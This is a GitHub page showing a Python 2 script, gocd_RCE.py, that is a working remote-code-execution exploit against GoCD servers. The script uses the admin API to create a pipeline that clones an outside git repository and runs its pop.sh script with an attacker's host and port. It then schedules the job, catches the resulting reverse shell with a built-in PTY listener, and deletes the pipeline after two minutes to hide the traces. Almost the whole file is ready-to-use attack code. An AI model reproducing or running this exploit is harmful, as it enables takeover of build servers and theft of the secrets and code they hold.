-
Notifications
You must be signed in to change notification settings - Fork 15
/
gocd_RCE.py
264 lines (198 loc) · 8.04 KB
/
gocd_RCE.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
#!/usr/bin/env python2
import random
import signal
import termios
import select
import socket
import os
import fcntl
import sys
import string
import requests
import time
from requests import post, delete
from multiprocessing import Process
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# Handler to exist cleanly on ctrl+C
def signal_handler(signal, frame):
print "\nYou pressed Ctrl+C!"
try:
cleanup_payload()
except:
pass
sys.exit()
signal.signal(signal.SIGINT, signal_handler)
class PTY:
def __init__(self, slave=0, pid=os.getpid()):
# apparently python GC's modules before class instances so, here
# we have some hax to ensure we can restore the terminal state.
self.termios, self.fcntl = termios, fcntl
# open our controlling PTY
self.pty = open(os.readlink("/proc/%d/fd/%d" % (pid, slave)), "rb+")
# store our old termios settings so we can restore after
# we are finished
self.oldtermios = termios.tcgetattr(self.pty)
# get the current settings se we can modify them
newattr = termios.tcgetattr(self.pty)
# set the terminal to uncanonical mode and turn off
# input echo.
newattr[3] &= ~termios.ICANON & ~termios.ECHO
# don't handle ^C / ^Z / ^\
newattr[6][termios.VINTR] = '\x00'
newattr[6][termios.VQUIT] = '\x00'
newattr[6][termios.VSUSP] = '\x00'
# set our new attributes
termios.tcsetattr(self.pty, termios.TCSADRAIN, newattr)
# store the old fcntl flags
self.oldflags = fcntl.fcntl(self.pty, fcntl.F_GETFL)
# fcntl.fcntl(self.pty, fcntl.F_SETFD, fcntl.FD_CLOEXEC)
# make the PTY non-blocking
fcntl.fcntl(self.pty, fcntl.F_SETFL, self.oldflags | os.O_NONBLOCK)
def read(self, size=8192):
return self.pty.read(size)
def write(self, data):
ret = self.pty.write(data)
self.pty.flush()
return ret
def fileno(self):
return self.pty.fileno()
def __del__(self):
# restore the terminal settings on deletion
self.termios.tcsetattr(self.pty, self.termios.TCSAFLUSH, self.oldtermios)
self.fcntl.fcntl(self.pty, self.fcntl.F_SETFL, self.oldflags)
class Shell:
def __init__(self, addr, bind=True):
self.bind = bind
self.addr = addr
if self.bind:
self.sock = socket.socket()
self.sock.bind(self.addr)
self.sock.listen(5)
def handle(self, addr=None):
addr = addr or self.addr
if self.bind:
sock, addr = self.sock.accept()
else:
sock = socket.socket()
sock.connect(addr)
# create our PTY
pty = PTY()
# input buffers for the fd's
buffers = [[sock, []], [pty, []]]
def buffer_index(fd):
for index, buffer in enumerate(buffers):
if buffer[0] == fd:
return index
readable_fds = [sock, pty]
data = " "
# keep going until something deds
while data:
# if any of the fd's need to be written to, add them to the
# writable_fds
writable_fds = []
for buffer in buffers:
if buffer[1]:
writable_fds.append(buffer[0])
r, w, x = select.select(readable_fds, writable_fds, [])
# read from the fd's and store their input in the other fd's buffer
for fd in r:
buffer = buffers[buffer_index(fd) ^ 1][1]
if hasattr(fd, "read"):
data = fd.read(8192)
else:
data = fd.recv(8192)
if data:
buffer.append(data)
# send data from each buffer onto the proper FD
for fd in w:
buffer = buffers[buffer_index(fd)][1]
data = buffer[0]
if hasattr(fd, "write"):
fd.write(data)
else:
fd.send(data)
buffer.remove(data)
# close the socket
sock.close()
def setup_payload():
data = '''{"group":"first","pipeline":{"label_template":"${COUNT}","lock_behavior":"lockOnFailure",\
"name":"%s","template":null,"materials":[{"type":"git","attributes":{"url":"https://github.com/mikaelkall/gocdrce_helper.git",\
"destination":"dest","filter":null,"invert_filter":false,"name":null,"auto_update":false,"branch":"master","submodule_folder":null,\
"shallow_clone":true}}],"stages":[{"name":"defaultStage","fetch_materials":true,"clean_working_directory":true,"never_cleanup_artifacts":false,\
"approval":{"type":"success","authorization":{"roles":[],"users":[]}},"environment_variables":[],"jobs":[{"name":"defaultJob","run_instance_count":null,\
"timeout":0,"environment_variables":[],"resources":[],"tasks":[{"type":"exec","attributes":{"run_if":["passed"],\
"command":"dest/pop.sh","arguments":["%s","%s"],"working_directory":null}}]}]}]}}''' % (PIPELINENAME, LHOST, LPORT)
headers = {'Accept': 'application/vnd.go.cd.v5+json',
'Content-Type': 'application/json'}
host = 'https://%s:8154/go/api/admin/pipelines' % HOST
if len(USERNAME) == 0 or len(PASSWORD) == 0:
submit = post(host, data=data, headers=headers, verify=False)
else:
submit = post(host, data=data, headers=headers, verify=False, auth=(USERNAME, PASSWORD))
if submit.status_code == 200:
print("[+] Payload")
else:
print("[-] Payload")
time.sleep(2)
host = 'https://%s:8154/go/api/pipelines/%s/unpause' % (HOST, PIPELINENAME)
headers = {'Accept': 'application/vnd.go.cd.v1+json',
'Content-Type': 'application/json'}
if len(USERNAME) == 0 or len(PASSWORD) == 0:
submit = post(host, data=data, headers=headers, verify=False)
else:
submit = post(host, data=data, headers=headers, verify=False, auth=(USERNAME, PASSWORD))
if submit.status_code == 200:
print("[+] Payload")
else:
print("[-] Payload")
def cleanup_payload():
headers = {'Accept': 'application/vnd.go.cd.v5+json'}
host = 'https://%s:8154/go/api/admin/pipelines/%s' % (HOST, PIPELINENAME)
if len(USERNAME) == 0 or len(PASSWORD) == 0:
submit = delete(host, headers=headers, verify=False)
else:
submit = delete(host, headers=headers, verify=False, auth=(USERNAME, PASSWORD))
def cleanup_payload_timer():
time.sleep(120)
cleanup_payload()
def exploit():
time.sleep(2)
headers = {'Accept': 'application/vnd.go.cd.v1+json',
'Content-Type': 'application/json',
'X-GoCD-Confirm': 'random'}
host = 'https://%s:8154/go/api/pipelines/%s/schedule' % (HOST, PIPELINENAME)
if len(USERNAME) == 0 or len(PASSWORD) == 0:
submit = post(host, headers=headers, verify=False)
else:
submit = post(host, headers=headers, verify=False, auth=(USERNAME, PASSWORD))
print("[+] Exploit")
if __name__ == '__main__':
if len(sys.argv) < 4:
print "Usage: %s <HOST> <LHOST> <LPORT> [USERNAME] [PASSWORD]" % (sys.argv[0])
print "\nEXAMPLE: ./gocd_rce.py '127.0.0.1' 10.10.14.24 1337 admin password\n"
sys.exit(0)
HOST = sys.argv[1]
LHOST = sys.argv[2]
LPORT = sys.argv[3]
try:
USERNAME = sys.argv[4]
PASSWORD = sys.argv[5]
except:
USERNAME = ''
PASSWORD = ''
print "[+] LHOST = %s" % LHOST
print "[+] LPORT = %s" % LPORT
# Generate random string as pipelinename
PIPELINENAME = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))
setup_payload()
# Run exploit Async
p = Process(target=exploit)
p.start()
# Cleanup payload
p = Process(target=cleanup_payload_timer)
p.start()
time.sleep(4)
print("[*] Waiting for agent to schedule payload, note this can take some time..")
s = Shell((LHOST, int(LPORT)), bind=True)
s.handle()